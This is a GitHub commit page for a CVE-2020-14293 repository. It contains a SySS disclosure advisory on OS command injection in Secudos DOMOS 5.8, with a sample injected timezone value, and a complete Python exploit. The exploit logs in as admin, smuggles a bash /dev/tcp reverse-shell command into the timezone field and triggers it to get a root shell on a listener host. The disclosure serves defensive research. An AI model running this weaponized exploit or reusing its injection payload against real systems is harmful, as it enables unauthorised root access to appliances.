Skip to content

Commit

Permalink
added release notice
Browse files Browse the repository at this point in the history
  • Loading branch information
Patrick Hener committed Sep 24, 2020
1 parent ca14f7b commit 6fa262a
Show file tree
Hide file tree
Showing 7 changed files with 750 additions and 1 deletion.
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# CVE-2020-14293

This vulnerablity was discovered and disclosed by me. This repository will hold the advisory and the exploits.
This vulnerablity was discovered and disclosed by me. This repository will hold the advisory, vulnerable software and the exploits.

This repository is only for educational purposes.

Expand All @@ -12,3 +12,7 @@ This repository is only for educational purposes.
- [Vendor notice](- TODO)
- [MITRE Entry](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14293)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2020-14293)

# Software

The software you can find in the release page. It is a vmdk which worked in virtualbox for me. Further instructions are here: [Release Page](https://github.com/patrickhener/CVE-2020-14293/releases/tag/1.0.0)
157 changes: 157 additions & 0 deletions advisory/SYSS-2020-025.txt.asc
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-025
Product: DOMOS
Manufacturer: Secudos GmbH
Affected Version(s): <= DOMOS 5.8
Tested Version(s): DOMOS 5.8
Vulnerability Type: OS Command Injection (CWE-78)
Risk Level: Low
Solution Status: Solved
Manufacturer Notification: 2020-06-17
Solution Date: 2020-08-12
Public Disclosure: 2020-09-28
CVE Reference: CVE-2020-14293
Author of Advisory: Patrick Hener, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

DOMOS is a hardened operating system of Secudos GmbH. This operating system is
used for different applications of said company. It offers a web interface to
perform administrative tasks within the operating system easily.

Due to insufficient input validation of user provided data it is vulnerable to
OS Command Injection.

The default configuration after deploying the appliance does not grant remote
access to the web interface. This inteface is bound to a local ip address
instead.

As per the requirements of valid admin credentials and network access to
the appliance the vulnerability is rated with as a low security risk.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The tasks which are initiated from within the web application use python
scripts at the backend server to change server settings. Within these scripts
user input is concatinated within the function os.system() of python, which
itself will initiate the operating system command.

For example the script 'conf_datetime' which is located at
/opt/secudos/DomosConf/scripts uses os.system() in a insecure manner as can be
seen here:

# /etc/sysconfig/clock
fn = '/etc/sysconfig/clock'
zone = db.get('datetime.clock.timezone', 'Europe/Berlin')
try:
fout = open(fn,'w')
fout.write('ZONE="'+zone+'"\n')
fout.write('UTC=true\n')
fout.write('ARC=false\n')
fout.close()
except:
print "Can't create",fn

# /etc/localtime
fn = '/etc/localtime'
fln = '/usr/share/zoneinfo/' + zone
try:
cmd = '/bin/ln -sf ' + fln + ' ' + fn
os.system(cmd)

The parameter 'zone' is defined as a field within the web interface.
By using an intercepting proxy and changing the value from 'Europe/Berlin'
to 'Europe/Berlin /etc/localtime; touch /tmp/hacked; cat' for example the
file 'hacked' will be created at '/tmp/' when applying the settings.

Furthermore the script will be run as root, which is a local privilege
escalation, as well.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the above technique it was possible to echo the output of the command
'id' into a file proving the script is run as root:

[admin@localhost ~]$ cat /tmp/hacked
uid=0(root) gid=0(root) groups=0(root)

Also refer to [1], for a weaponized exploit.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The issue was fixed in Version DOMOS 5.8.1. Upgrade to this version.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-06-02: Vulnerability discovered
2020-06-17: Vulnerability reported to manufacturer
2020-08-12: Patch released by manufacturer
2020-09-28: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Weaponized Go Exploit
https://exploit-db.com/exploits/xxxxxx (will be updated after publishing)
[2] SySS Security Advisory SYSS-2020-025
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-025.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Patrick Hener of SySS GmbH.

E-Mail: [email protected]
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Patrick_Hener.asc
Key ID: 5C708555930AA477
Key Fingerprint: 9CB7 1E87 BD83 64B7 38F2 3434 5C70 8555 930A A477

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEnLceh72DZLc48jQ0XHCFVZMKpHcFAl9sT0cACgkQXHCFVZMK
pHffEw/6AgGyNI3JJ3JFu23fnL+cPeOKb0sLFm7NDI/9A4mef9ZO+sH9BS2j5kJ0
M5u0RnYOel6eqpb+uGh1TGOnyoVgikc18t6UnODoRloVi0Gj4tDpA5aA3TDGTOJ5
SocaeJ95+OXUJtVJSLbCc9hpOKgS/skVaEhs9IkeO7E5Vw+8IVTCdPkSACk/NdUt
ytY19sRJM04VPUqaxmkkHf7jE4wcYeYd1ZXZzKj/ShhqgHPqRbdTJcVq7uD15F7G
FGCTCroHZj0rOzvZNSofJHf042yq/QaoU9PpVsApcKmWiuOv9B5CQctjsPed8DGa
tvxcz3O7rS5sWDUkHtYVhPFOfr3V6YgN1c3JQ7fwposv3XkZ5LNrRne8d5H6GKKj
/4IhPSWjny2brAUjasYJp4ic9nNXJ/g1z4efy/+SvBROAzYkYv3xU+qc63GM9tE4
/fr4Ti4uL8RTXyGFlHz7M7jYcOgE4F6O4ToAsQwHkuGs+qmPPytfwb1spSHAyoZL
PHIeZ+S+7ovcePLskNBZHASU2TcB4Ni4lQ7ymd1iU/fQBpW82MgjzX6ymzJaNVk2
w5TrP0WE2c2meJZe52hFQskusnxSXy27vFVDchUxUKCGW2kpdsP8XNo1Nq1njqgz
dvJwsAAGSb5w66xqcPnQghu9lCD9CPDhxcF7PNhQHoRYqGLHDAo=
=pHhO
-----END PGP SIGNATURE-----
117 changes: 117 additions & 0 deletions exploits/domos-rev-shell.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
#!/usr/bin/env python
# This exploit was written by Patrick Hener, SySS GmbH
# Advisory: SYSS-2020-025 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-025.txt)
# CVE: CVE-2020-14293
# exploit-db: https://exploit-db.com/exploits/xxxxxxx
# Requirements: netcat listener running

import requests
import re
import os
import sys
from urllib3.exceptions import InsecureRequestWarning

# Setup of args
if len(sys.argv) < 6:
print(
f"usage: python {sys.argv[0]} username[admin] password[admin] lhost[192.168.x.x] lport[4444] url[https://ip:10000]")
sys.exit(0)

user = sys.argv[1]
password = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
url = sys.argv[5]

# You can but do not have to modify this
payload = f'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'

# omit ssl warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Setup Cookie jar for session cookie
session = requests.Session()


def preflight():
# Preflight GET for getting session_id
preflight_response = session.get(url, verify=False)

return preflight_response


def login():
# Login request
login_data = {'dcfct': 'DCbase.login',
'username': user, 'password': password}
login_response = session.post(url, login_data, verify=False)

return login_response


def inject_payload():
files = {
'dcfct': (None, 'DCbase.pageinput'),
'dbkey:datetime.clock.timezone': (None, f'Europe/Berlin /etc/localtime; {payload}; cat'),
'submit': (None, 'save')
}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Connection": "close",
"Accept-Language": "en-US,en;q=0.5",
"Referer": f"{url}/smenu/td_timezone",
"Upgrade-Insecure-Requests": "1"}

payload_response = session.post(f"{url}/page/td_timezone", headers=headers, files=files, verify=False)

return payload_response


def trigger_activation():
# Trigger activation by activating settings changes
trigger_response = session.get(f"{url}/reconf", verify=False)

return trigger_response

def trigger_check():
# Postflight request
trigger_response = session.get(f"{url}/reconfshow", verify=False)

return trigger_response


if __name__ == "__main__":
# Stage 1 preflight
print("[*] sending preflight request to acquire session_id")
preflight_response = preflight()
if preflight_response.status_code == 200:
print("[+] session_id acquired")
else:
print("[-] session_id could not be acquired.")
sys.exit(0)
# Stage 2 login
print("[*] sending login request to validate session.")
login_response = login()
has_error = re.search('Error', login_response.text)
if not has_error:
print("[+] login was successful")
else:
print("[-] there was something wrong with the login -> check credentials again")
sys.exit(0)
# Stage 3 inject payload
print(f"[*] Trying to inject payload: {payload}")
# Weird stuff, have to send 2 times!?
payload_response = inject_payload()
payload_response = inject_payload()
if payload_response.status_code == 200:
print("[+] successfully injected payload")
else:
print("[-] something went wrong injecting the payload")
sys.exit(0)
# Stage 4 triggering payload
print("[*] activating settings changes to trigger payload")
trigger_response = trigger_activation()
print("[*] be sure to have your listener running at this point.\n[*] Shell should pop every second")
trigger_response = trigger_check()
sys.exit()
Loading

0 comments on commit 6fa262a

Please sign in to comment.